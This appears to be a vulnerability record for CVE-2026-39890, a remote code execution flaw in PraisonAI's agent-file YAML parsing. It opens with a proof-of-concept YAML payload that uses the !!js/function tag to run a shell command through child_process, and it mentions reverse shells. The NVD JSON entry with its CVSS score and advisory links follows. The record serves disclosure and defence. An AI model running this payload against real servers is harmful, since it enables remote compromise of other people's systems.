CVE-2026-39890

# Malicious YAML payload for CVE-2026-39890 # This payload uses !!js/function to execute arbitrary code on the server !!js/function > function (obj) { // PoC: Execute a simple command (e.g., creating a file or reverse shell) var require = process.mainModule.require; var child_process = require('child_process'); // Example: Execute 'id' command // In a real attack, this would be a reverse shell payload child_process.exec('id', function (error, stdout, stderr) { console.log('Output: ' + stdout); }); return "Pwned by CVE-2026-39890"; }

{"cve": {"id": "CVE-2026-39890", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:01.267", "lastModified": "2026-04-15T17:56:13.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 4.5.115, the AgentService.loadAgentFromFile method uses the js-yaml library to parse YAML files without disabling dangerous tags (such as !!js/function and !!js/undefined). This allows an attacker to craft a malicious YAML file that, when parsed, executes arbitrary JavaScript code. An attacker can exploit this vulnerability by uploading a malicious agent definition file via the API endpoint, leading to remote code execution (RCE) on the server. This vulnerability is fixed in 4.5.115."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.5.114", "matchCriteriaId": "B0754891-B47D-441D-A0E6-710A49389AE4"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-32vr-5gcf-3pw2", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-32vr-5gcf-3pw2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}